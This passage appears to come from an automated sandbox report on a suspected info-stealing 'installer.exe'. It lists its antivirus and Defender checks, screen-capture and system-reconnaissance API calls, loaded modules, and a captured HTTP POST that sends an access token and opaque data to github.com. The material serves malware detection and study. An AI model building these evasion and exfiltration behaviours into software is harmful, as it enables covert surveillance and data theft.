"select * from "; Source: "00000000-00006960-00002714-1609280258") Found string "SELECT * FROM AntiVirusProduct0" (Indicator: "select * from "; Source: "00000000-00006960.00000000.167303.C9930000.00000004.mdmp") Found string "SELECT * FROM AntiVirusProduct" (Indicator: "select * from "; Source: "00000000-00006960.00000000.167303.C9930000.00000004.mdmp") Found string "cQuery(SELECT * FROM Win32_OperatingSystem);" (Indicator: "select * from "; Source: "00000000-00006960.00000000.167303.C9930000.00000004.mdmp") Found string "hWMI.ExecQuery(SELECT * FROM Win32_VideoController);" (Indicator: "select * from "; Source: "00000000-00006960.00000000.167303.C9930000.00000004.mdmp") Found string "^WMI.ExecQuery(SELECT * FROM AntiVirusProduct);" (Indicator: "select * from "; Source: "00000000-00006960.00000000.167303.C9930000.00000004.mdmp") Found string "MI.ExecQuery(SELECT * FROM AntiVirusProduct);" (Indicator: "select * from "; Source: "00000000-00006960.00000000.167303.C9930000.00000004.mdmp") Found string "xecqueryselect * from win32_videocontroller" (Indicator: "select * from "; Source: "00000000-00006960.00000000.167303.C9930000.00000004.mdmp")2e:T60f,"installer.exe" called "LoadLibrary" with a parameter bcryptprimitives.dll (UID: 00000000-00006960) "installer.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00006960) "installer.exe" called "LoadLibrary" with a parameter powrprof.dll (UID: 00000000-00006960) "installer.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00006960) "installer.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00006960) "installer.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00006960) "installer.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00006960) "installer.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00006960) "installer.exe" called "LoadLibrary" with a parameter GDI32.dll (UID: 00000000-00006960) "installer.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00006960) "installer.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00006960) "installer.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006960) "installer.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006960) "installer.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006960) "installer.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00006960) "installer.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006960)2f:T29a2,"installer.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter ProcessPrng (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter NtCreateWaitCompletionPacket (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter NtAssociateWaitCompletionPacket (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter NtCancelWaitCompletionPacket (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter RtlGetCurrentPeb (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter PowerRegisterSuspendResumeNotification (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter GetConsoleMode (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter GetCommandLineW (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter GetProcessHeap (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter TlsAlloc (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter LoadLibraryW (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter GetModuleFileNameW (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter VirtualAlloc (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter ExitProcess (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter GetComputerNameA (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter GetComputerNameExA (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter GlobalLock (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter GlobalUnlock (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter CoInitialize (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter CoInitializeSecurity (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter CoSetProxyBlanket (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter CloseDesktop (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter CreateDesktopW (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter EnumDisplaySettingsW (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter GetClientRect (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter GetDC (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter GetForegroundWindow (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter GetKeyboardLayout (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter GetKeyboardLayoutNameA (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter GetKeyboardLayoutNameW (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter GetSystemMetrics (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter GetWindowDC (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter GetWindowRect (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter OpenDesktopW (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter ReleaseDC (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter GetUserNameA (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter LookupPrivilegeValueW (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter BitBlt (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter CreateCompatibleBitmap (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter CreateCompatibleDC (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter DeleteDC (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter DeleteObject (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter GetCurrentObject (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter GetDIBits (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter GetObjectW (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter SelectObject (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter GetCurrentThread (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter NtQueryInformationThread (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter CreateActCtxW (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter AddVectoredExceptionHandler (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeExW (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter GetFileVersionInfoExW (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00006960) "installer.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00006960)30:T615,"rror: invalid use of makeMethodValuereflect.FuncOf: last arg of variadic func must be slicemheap.freeSpanLocked - invalid free of user arena chunkcasfrom_Gscanstatus:top gp->status is not in scan state is currently not supported for use in system callbacksSOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zonesstrings: illegal use of non-zero Builder copied by valuenon-empty pointer map passed for non-pointer-size valuesreflect: Value.SetIterValue called on exhausted iteratorrange function continued iteration after loop body panicrange function continued iteration after whole loop exitfailed to allocate aligned heap memory; too many retriesprofilealloc called without a P or outside bootstrappingdetected possible issues with cleanups and/or finalizersin gcMark expecting to see gcphase as _GCmarkterminationruntime: NtAssociateWaitCompletionPacket failed; errno= can't handle assignment of %s to empty interface argumentruntime: checkmarks found unexpected unmarked object obj=crypto/drbg: internal error: request si" in Source: installer.exe "Software\Microsoft\Windows Defender\Features" in Source: 00000000-00006960.00000000.167303.A2B53000.00000002.mdmp "Software\Microsoft\Windows Defender\MpEngine" in Source: 00000000-00006960.00000000.167303.A2B53000.00000002.mdmp "Software\Microsoft\Microsoft Antimalware\MpEngine" in Source: 00000000-00006960.00000000.167303.A2B53000.00000002.mdmp "ry\Machine\Software\Classes\WOW6432Node\CLSID\{00000339-0000-0000-C000-000000000v" in Source: 00000000-00006960.00000000.167303.C9930000.00000004.mdmp31:Ta01,"installer.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ff889390000 "installer.exe" loaded module "BCRYPTPRIMITIVES.DLL" at base 7ff8b08e0000 "installer.exe" loaded module "NTDLL.DLL" at base 7ff8b3050000 "installer.exe" loaded module "POWRPROF.DLL" at base 7ff8b0350000 "installer.exe" loaded module "KERNEL32.DLL" at base 7ff8b1a70000 "installer.exe" loaded module "OLE32.DLL" at base 7ff8b2e70000 "installer.exe" loaded module "USER32.DLL" at base 7ff8b1b90000 "installer.exe" loaded module "ADVAPI32.DLL" at base 12fcb410000 "installer.exe" loaded module "GDI32.DLL" at base 7ff8b0ff0000 "installer.exe" loaded module "OLEAUT32.DLL" at base 7ff8b2d60000 "installer.exe" loaded module "WINHTTP.DLL" at base 7ff8a94c0000 "installer.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ff8adaa0000 "installer.exe" loaded module "RPCRT4.DLL" at base 7ff8b1460000 "installer.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 7ff8b0530000 "installer.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 7ff8a3cc0000 "installer.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 7ff8a2ec0000 "installer.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 7ff8b0530000 "installer.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 7ff8b0530000 "installer.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 7ff8a31a0000 "installer.exe" loaded module "AMSI.DLL" at base 7ff8a2ba0000 "installer.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ff8b0530000 "installer.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ff8b0530000 "installer.exe" loaded module "KERNEL32" at base 7ff8b1a70000 "installer.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7ff8a5b50000 "installer.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.18.23090.2008-0\MPOAV.DLL" at base 7ff8a2b20000 "installer.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ff8b0530000 "installer.exe" loaded module "%WINDIR%\SYSTEM32\3SH99F67.DLL" at base 7ff88abf0000 "installer.exe" loaded module "SSPICLI.DLL" at base 7ff8af710000 "installer.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 7ff892590000 "installer.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 7ff8af930000 "installer.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 7ff8a7e20000 "installer.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 7ff8a8da000032:T608,"installer.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "installer.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\CONTAINERS"; Key: ""; Value: "") "installer.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS\DNSCACHE"; Key: ""; Value: "") "installer.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\PARAMETERS"; Key: ""; Value: "") "installer.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: ""; Value: "") "installer.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: ""; Value: "") "installer.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS"; Key: ""; Value: "") "installer.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\TCPIP"; Key: ""; Value: "") "installer.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "installer.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\INTERFACES"; Key: ""; Value: "") "installer.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: ""; Value: "") "installer.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS NT\DNSCLIENT"; Key: ""; Value: "")33:T885,"installer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "") "installer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\CONTAINERS"; Key: "SECUREAUTOPROXY"; Value: "") "installer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\CONTAINERS"; Key: "SENDDNSTOHOST"; Value: "") "installer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\PARAMETERS"; Key: "TRANSPORTS"; Value: "") "installer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "installer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "installer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\TCPIP"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "installer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MINSOCKADDRLENGTH"; Value: "") "installer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MAXSOCKADDRLENGTH"; Value: "") "installer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "USEDELAYEDACCEPTANCE"; Value: "") "installer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "9CA335ED-C0A6-4B4D-B084-9C9B5143AFF0"; Value: "") "installer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "703FCC13-B66F-5868-DDD9-E2DB7F381FFB"; Value: "") "installer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "HOSTNAME"; Value: "") "installer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DOMAIN"; Value: "") "installer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "QUERYADAPTERNAME"; Value: "")34:Ta2c,Found reference to API "SetsockoptInt" (Indicator: "setsockopt"; File: "installer.exe") Found reference to API "SetsockoptIPMreq" (Indicator: "setsockopt"; File: "installer.exe") Found reference to API "SetsockoptLinger" (Indicator: "setsockopt"; File: "installer.exe") Found reference to API "SetsockoptIPv6Mreq" (Indicator: "setsockopt"; File: "installer.exe") Found reference to API "SetsockoptInet4Addr" (Indicator: "setsockopt"; File: "installer.exe") file/memory contains long string with (Indicator: "setsockopt"; File: "installer.exe") Found reference to API "syscall.SetsockoptLinger" (Indicator: "setsockopt"; Source: "00000000-00006960.00000000.167303.968A2000.00000002.mdmp") Found reference to API "syscall.Setsockopt" (Indicator: "setsockopt"; Source: "00000000-00006960.00000000.167303.968A2000.00000002.mdmp") Found reference to API "internal/poll.(*FD).SetsockoptInt" (Indicator: "setsockopt"; Source: "00000000-00006960.00000000.167303.968A2000.00000002.mdmp") Found reference to API "internal/poll.(*FD).SetsockoptInt.deferwrap1" (Indicator: "setsockopt"; Source: "00000000-00006960.00000000.167303.968A2000.00000002.mdmp") Found reference to API "internal/poll.(*FD).SetsockoptInet4Addr" (Indicator: "setsockopt"; Source: "00000000-00006960.00000000.167303.968A2000.00000002.mdmp") Found reference to API "internal/poll.(*FD).SetsockoptInet4Addr.deferwrap1" (Indicator: "setsockopt"; Source: "00000000-00006960.00000000.167303.968A2000.00000002.mdmp") Found reference to API "internal/poll.(*FD).SetsockoptLinger" (Indicator: "setsockopt"; Source: "00000000-00006960.00000000.167303.968A2000.00000002.mdmp") Found reference to API "internal/poll.(*FD).SetsockoptLinger.deferwrap1" (Indicator: "setsockopt"; Source: "00000000-00006960.00000000.167303.968A2000.00000002.mdmp") Found reference to API "internal/poll.(*FD).SetsockoptIPMreq" (Indicator: "setsockopt"; Source: "00000000-00006960.00000000.167303.968A2000.00000002.mdmp") Found reference to API "internal/poll.(*FD).SetsockoptIPMreq.deferwrap1" (Indicator: "setsockopt"; Source: "00000000-00006960.00000000.167303.968A2000.00000002.mdmp") Found reference to API "internal/poll.(*FD).SetsockoptIPv6Mreq" (Indicator: "setsockopt"; Source: "00000000-00006960.00000000.167303.968A2000.00000002.mdmp") Found reference to API "internal/poll.(*FD).SetsockoptIPv6Mreq.deferwrap1" (Indicator: "setsockopt"; Source: "00000000-00006960.00000000.167303.968A2000.00000002.mdmp") Found reference to API "syscall.procsetsockopt" (Indicator: "setsockopt"; Source: "00000000-00006960.00000000.167303.968A2000.00000002.mdmp")35:T98a,file/memory contains long string with (Indicator: "WSARecv"; File: "installer.exe") file/memory contains long string with (Indicator: "WSASend"; File: "installer.exe") file/memory contains long string with (Indicator: "WSAStartup"; File: "installer.exe") Found reference to API "syscall.WSASendto" (Indicator: "WSASend"; Source: "00000000-00006960.00000000.167303.968A2000.00000002.mdmp") Found reference to API "syscall.WSARecv" (Indicator: "WSARecv"; Source: "00000000-00006960.00000000.167303.968A2000.00000002.mdmp") Found reference to API "syscall.WSARecvFrom" (Indicator: "WSARecv"; Source: "00000000-00006960.00000000.167303.968A2000.00000002.mdmp") Found reference to API "syscall.WSASend" (Indicator: "WSASend"; Source: "00000000-00006960.00000000.167303.968A2000.00000002.mdmp") Found reference to API "syscall.WSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00006960.00000000.167303.968A2000.00000002.mdmp") Found reference to API "internal/syscall/windows.loadWSASendRecvMsg" (Indicator: "WSASend"; Source: "00000000-00006960.00000000.167303.968A2000.00000002.mdmp") Found reference to API "internal/syscall/windows.WSASendMsg" (Indicator: "WSASend"; Source: "00000000-00006960.00000000.167303.968A2000.00000002.mdmp") Found reference to API "internal/syscall/windows.WSARecvMsg" (Indicator: "WSARecv"; Source: "00000000-00006960.00000000.167303.968A2000.00000002.mdmp") Found reference to API "internal/syscall/windows.loadWSASendRecvMsg.func1" (Indicator: "WSASend"; Source: "00000000-00006960.00000000.167303.968A2000.00000002.mdmp") Found reference to API "internal/syscall/windows.loadWSASendRecvMsg.func1.deferwrap1" (Indicator: "WSASend"; Source: "00000000-00006960.00000000.167303.968A2000.00000002.mdmp") Found reference to API "syscall.procWSARecv" (Indicator: "WSARecv"; Source: "00000000-00006960.00000000.167303.968A2000.00000002.mdmp") Found reference to API "syscall.procWSARecvFrom" (Indicator: "WSARecv"; Source: "00000000-00006960.00000000.167303.968A2000.00000002.mdmp") Found reference to API "syscall.procWSASend" (Indicator: "WSASend"; Source: "00000000-00006960.00000000.167303.968A2000.00000002.mdmp") Found reference to API "syscall.procWSASendTo" (Indicator: "WSASend"; Source: "00000000-00006960.00000000.167303.968A2000.00000002.mdmp") Found reference to API "syscall.procWSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00006960.00000000.167303.968A2000.00000002.mdmp")36:T98a,file/memory contains long string with (Indicator: "WSARecv"; File: "installer.exe") file/memory contains long string with (Indicator: "WSASend"; File: "installer.exe") file/memory contains long string with (Indicator: "WSAStartup"; File: "installer.exe") Found reference to API "syscall.WSASendto" (Indicator: "WSASend"; Source: "00000000-00006960.00000000.167303.968A2000.00000002.mdmp") Found reference to API "syscall.WSARecv" (Indicator: "WSARecv"; Source: "00000000-00006960.00000000.167303.968A2000.00000002.mdmp") Found reference to API "syscall.WSARecvFrom" (Indicator: "WSARecv"; Source: "00000000-00006960.00000000.167303.968A2000.00000002.mdmp") Found reference to API "syscall.WSASend" (Indicator: "WSASend"; Source: "00000000-00006960.00000000.167303.968A2000.00000002.mdmp") Found reference to API "syscall.WSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00006960.00000000.167303.968A2000.00000002.mdmp") Found reference to API "internal/syscall/windows.loadWSASendRecvMsg" (Indicator: "WSASend"; Source: "00000000-00006960.00000000.167303.968A2000.00000002.mdmp") Found reference to API "internal/syscall/windows.WSASendMsg" (Indicator: "WSASend"; Source: "00000000-00006960.00000000.167303.968A2000.00000002.mdmp") Found reference to API "internal/syscall/windows.WSARecvMsg" (Indicator: "WSARecv"; Source: "00000000-00006960.00000000.167303.968A2000.00000002.mdmp") Found reference to API "internal/syscall/windows.loadWSASendRecvMsg.func1" (Indicator: "WSASend"; Source: "00000000-00006960.00000000.167303.968A2000.00000002.mdmp") Found reference to API "internal/syscall/windows.loadWSASendRecvMsg.func1.deferwrap1" (Indicator: "WSASend"; Source: "00000000-00006960.00000000.167303.968A2000.00000002.mdmp") Found reference to API "syscall.procWSARecv" (Indicator: "WSARecv"; Source: "00000000-00006960.00000000.167303.968A2000.00000002.mdmp") Found reference to API "syscall.procWSARecvFrom" (Indicator: "WSARecv"; Source: "00000000-00006960.00000000.167303.968A2000.00000002.mdmp") Found reference to API "syscall.procWSASend" (Indicator: "WSASend"; Source: "00000000-00006960.00000000.167303.968A2000.00000002.mdmp") Found reference to API "syscall.procWSASendTo" (Indicator: "WSASend"; Source: "00000000-00006960.00000000.167303.968A2000.00000002.mdmp") Found reference to API "syscall.procWSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00006960.00000000.167303.968A2000.00000002.mdmp")37:T945,Found string "POST /documents HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=eV648Bu5ssyg2y42BFHost: github.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 1015--eV648Bu5ssyg2y42BFContent-Disposition: form-data; name="access_token"--eV648Bu5ssyg2y42BFContent-Disposition: form-data; name="type"0--eV648Bu5ssyg2y42BFContent-Disposition: form-data; name="file"; filename="data"Content-Type: application/octet-streamI³oæcÔÌ4Ii9k¤½|zUÞ»|ÌCî`t `Èp<ÝPvLsª÷nrpêa·µþF¯À¨û{ÔPbà.còÞã÷¾d»2¤ÖÉk¤ÀHlmÆ8ÍÆ(¡H!\|S9Ïël8ÈÂj§ÑSné&µÉß¾0z¥þJ¿´%Ræð:*ÀI;vnáðÞbr°¼ªöÛN³¨Y}¿ZZ~ëÆm¸#³Jx¼i7ìãõ ÅÙIô)%!J°>dn´ÉFºë`0 Çq\IWÌûÝ¿J'ðe«Ên§,ÊEÓ>íMuÒærÄI"ù0À óÚÌ3 Ö¢ÏG}Ýs<ïzìäÿjc D%Ì ®â+Giÿ¬Mrqòr-3ÂÖ\f°eÏîÇ·ö´Ö·¾[g|1iÈä¾@c0³ØÑ!`mi¤S:â¼áÐ{«fò=#YW¯?ßrÙÆ&Sò6¸áÿè$1S¬&bHÌ_$õËêu.bµQ~éX^ÔÜFÿ²âöÇ.ê®!ÌWóÑc]ênëü2øhº+¡~¨CF6(uÖ)\GoýaR°Ð*;<¨uÕ(§´Ö´ðT³CCÒøïò¶e% 